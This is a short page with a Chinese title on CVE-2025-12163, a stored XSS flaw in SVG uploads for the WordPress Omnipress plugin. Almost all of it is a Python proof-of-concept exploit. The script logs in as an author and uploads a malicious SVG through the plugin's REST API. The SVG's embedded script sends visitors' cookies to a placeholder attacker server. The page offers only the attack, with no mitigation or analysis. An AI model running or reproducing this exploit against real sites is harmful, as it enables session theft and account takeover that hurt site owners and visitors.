CVE-2025-12163 WordPress Omnipress插件SVG上传存储型XSS漏洞

import requests import sys # CVE-2025-12163 PoC - Omnipress SVG XSS Exploit # Target: WordPress site with Omnipress plugin <= 1.6.5 target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target-wordpress-site.com" username = sys.argv[2] if len(sys.argv) > 2 else "author_username" password = sys.argv[3] if len(sys.argv) > 3 else "author_password" # Malicious SVG content with XSS payload malicious_svg = '''<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)"> <script type="text/javascript"> // Steal cookies and send to attacker server var stolen_data = document.cookie; fetch('https://attacker-server.com/steal?data=' + encodeURIComponent(stolen_data)); </script> </svg>''' def exploit(): session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/" } login_response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies: print("[-] Login failed!") return False print("[+] Login successful!") # Step 2: Upload malicious SVG file via Omnipress REST API upload_url = f"{target_url}/wp-json/omnipress/v1/file-upload" files = { 'file': ('malicious.svg', malicious_svg, 'image/svg+xml') } upload_response = session.post(upload_url, files=files) if upload_response.status_code == 200: result = upload_response.json() svg_url = result.get('url', '') print(f"[+] Malicious SVG uploaded successfully!") print(f"[+] SVG URL: {svg_url}") print(f"[!] When users access this URL, XSS payload will execute") return True else: print(f"[-] Upload failed with status: {upload_response.status_code}") return False if __name__ == "__main__": exploit()